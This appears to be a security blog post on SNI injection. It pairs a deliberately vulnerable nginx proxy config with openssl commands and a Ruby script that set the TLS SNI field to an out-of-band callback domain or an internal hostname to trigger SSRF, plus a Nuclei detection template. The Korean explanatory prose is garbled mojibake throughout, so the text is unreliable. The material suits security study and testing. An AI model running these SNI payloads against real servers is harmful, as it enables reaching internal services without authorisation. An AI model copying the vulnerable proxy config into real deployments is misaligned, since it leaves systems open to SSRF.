🔍 Introduction
SNI
SNI(Server Name Indication)์ TLS์ ํ์ฅ ๊ธฐ๋ฅ์ผ๋ก handshake ๊ณผ์ ์ด๊ธฐ์ ํด๋ผ์ด์ธํธ๊ฐ ์ด๋ค ํธ์คํธ์ ์ ์ํ๋์ง ์๋ฒ์๊ฒ ์๋ฆฌ๋ ์ญํ ์ ์ํํฉ๋๋ค.
RFC 6066
SNI Injection
์ด๋ฌํ SNI ์ ๋ณด๋ ํด๋ผ์ด์ธํธ์ ์๋ฒ๊ฐ์ ํต์ ์ ์ํด Handshakeํ๋ ๊ณผ์ ์์ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ SNI ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๊ฑฐ๋ ๊ฒ์ฆ๋ฑ์ ํ์ฉํ๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ธ Injection ๊ณต๊ฒฉ๊ณผ ๋์ผํ๊ฒ ์์์ ๋ฐ์ดํฐ๋ฅผ Injectํ ์ ์์ต๋๋ค. ๋ํ์ ์ผ๋ก ํ์ฉ๋๋ ์ผ์ด์ค๋ ์๋์ ๊ฐ์ต๋๋ค.
- TLS๋ฅผ ์ฌ์ฉํ๋ Application์ ์ด์ ๋์์ ์ ๋ (Overflow, Crash)
- SNI๋ฅผ ์ฒ๋ฆฌํ๋ WAS๋ Ingress์ ํน์ง์ ์ด์ฉํ์ฌ SSRF
# SNI SSRF์ ์ทจ์ฝํ nginx ์ค์
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
# ์ ๊ทํํ์์ ํตํด ์ฒ๋ฆฌํ๋ ๊ฒฝ์ฐ์๋ SNI๋ฅผ ํตํด ํต์ ๋์ง ์๋ ๋์์ด ๋ฐ์ํ ์ ์์
stream {
map $ssl_preread_server_name $targetBackend {
~^www.example.com $ssl_preread_server_name;
}
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $targetBackend:443;
ssl_preread on;
}
}
🗡 Offensive techniques
Detect
SNI Injection์ ์ํด์ SNI ํ๋๋ฅผ ์ํ๋ ๋ฐ์ดํฐ๋ก ์์ ํ ์ ์์ด์ผ ํฉ๋๋ค. Packet์ ์กฐ์ํ์ฌ ์ ๋ฌํ๋ ๋ฐฉ๋ฒ์ด ๊ฐ์ฅ ๊น์ ๋ ๋ฒจ์ ๊ณต๊ฒฉ๊น์ง ์งํํ ์ ์๊ณ , ์ผ๋ฐ์ ์ผ๋ก ๋๊ตฌ๋ฅผ ์ฌ์ฉํด์ ํธ์งํ๋๊ฒ ํธ๋ฆฌํฉ๋๋ค.
OpenSSL
openssl s_client
-connect target.com:443
-servername ""
-crlf
openssl client๋ฅผ ํตํด ์ฝ๊ฒ SNI๋ฅผ ์์ ํ ์ ์์ต๋๋ค. -servername flag๋ SNI ๋ฐ์ดํฐ๋ฅผ ์ง์ ํ๋ ๋ถ๋ถ์ผ๋ก ํด๋น flag๋ฅผ ํตํด ๊ณต๊ฒฉ ํ์ด๋ก๋๋ฅผ ์ฝ์ ํ๊ฑฐ๋ ์๋์ ๊ฐ์ด OOB๋ฅผ ์ ๋ํ๋ OAST๋ฅผ ํตํด ์๋ณํ ์ ์์ต๋๋ค.
# OAST
openssl s_client
-connect target.com:443
-servername "ecoztid37w4o7gpy6wgzgvyify.odiss.eu"
-crlf
Ruby
Ruby, Python ๋ฑ์ผ๋ก ์ฝ๊ฒ ์์ฑํด์ ํ ์คํธํ ์ ์์ต๋๋ค. ์๋๋ Ruby๋ก ์์ฑํ ์์์ ๋๋ค.
# frozen_string_literal: true
require 'net/http'
def check(url, sni)
uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
request = Net::HTTP::Get.new(uri)
response = http.request(request)
p response.code
p response.body
end
end
check('https://www.hahwul.com','internal.hahwul.com')
check('https://www.hahwul.com','dalfox.hahwul.com')
Nuclei
tls-sni๋ฅผ ์ฝ๊ฒ ์์ ํ๋ฉด์ ํ ์คํธํ ์ ์๋๋ก Nuclei์์ ๊ธฐ๋ฅ๊ณผ ํ ํ๋ฆฟ์ ์ ๊ณตํ๊ณ ์์ต๋๋ค.
id: tls-sni-proxy
info:
name: TLS SNI Proxy Detection
author: pdteam
severity: info
reference:
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://www.bamsoftware.com/computers/sniproxy/
tags: ssrf,oast,tls,sni,proxy
requests:
- raw:
- |
@tls-sni: interactsh-url
GET HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
https://github.com/projectdiscovery/nuclei-templates/blob/main/misconfiguration/tls-sni-proxy.yaml
Exploitation
Injection ๊ณต๊ฒฉ์ ๊ณต๊ฒฉ์๊ฐ ์ด๋ค ์ก์ ์ ๋ชฉ์ ์ผ๋ก ํ๊ณ ์ด๋ค ์ฝ๋๋ฅผ ์ฌ์ฉํ๊ณ , ๋์์ ์ด๋ค ์ทจ์ฝ์ ์ด ์๋๋์ ๋ฐ๋ผ์ ์ฌ๋ฌ๊ฐ์ง ํํ๋ก ๋ํ๋์ง๋ง ๊ฐ์ฅ ์ ์๋ ค์ง ๊ณต๊ฒฉ์ SSRF ์ ๋๋ค.
SSRF
# SSRF via SNI
openssl s_client
-connect target.com:443
-servername "internal.inhouse.domain"
-crlf
์๊น ์์์ ์ด์ผ๊ธฐํ๋ Ruby ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ์์๋ก ์์ฑํด๋ณด๋ฉด ์ด๋ ์ต๋๋ค.
require 'net/http'
def check(url, sni)
uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
request = Net::HTTP::Get.new(uri)
response = http.request(request)
p response.code
p response.body
end
end
check('https://public.target.com/server-status','internal.service')
์น ์์ฒญ์ ์๋์ ๊ฐ์ด ๋ฐ์ํ์ง๋ง ์ค์ ์ฐ๊ฒฐ๋๋ ๋๋ฉ์ธ์ internal.service๋ก proxy_pass ๋ฑ์ด ์ค ์ค์ ๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ๋๋ฉ์ธ์ผ๋ก ์์ฒญ์ ๋ฐ์ ์ํฌ ์ ์์ต๋๋ค.
GET /server-status HTTP/1.1
With CRLF Injection
BlackHat ๋ฌธ์ ์ค ์ ๋ช ํ Era of SSRF๋ฅผ ๋ณด๋ฉด SNI Injection ์ ๋ํ ๋ด์ฉ๋ ์์ต๋๋ค. Mail Injection์๋ ์ถฉ๋ถํ ์ฌ์ฉ๋ ์ ์์ผ๋ ์ ์์๋์๋๊ฒ ์ข์ ๊ฒ ๊ฐ๋ค์ ๐
Era of SSRF


🛡 Defensive techniques
์ค์ Application์์ ์ง์ TLS๋ฅผ ๋ค๋ฃจ๋ ๊ฒฝ์ฐ๋ ์ ์ต๋๋ค. ๊ด๋ จ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋๋ WAS, Ingress ๋ฑ์ ์ค์ ์์ SNI๋ฅผ ์ ๋ขฐํ๋์ง, ์ด๋ป๊ฒ ์ฒ๋ฆฌํ๋์ง ํ์ธํ๊ณ ์์ ๊ฐ์ ๊ฒฝ์ฐ๋ค์ด ๋ฐ์ํ์ง ์๋๋ก ๊ท์น์ด๋ ์ ๊ทํํ์ ๋ฑ์ ์ ํํ๊ฒ ์ค์ ํด์ผ ํฉ๋๋ค.
- https://github.com/tls-attacker/TLS-Attacker
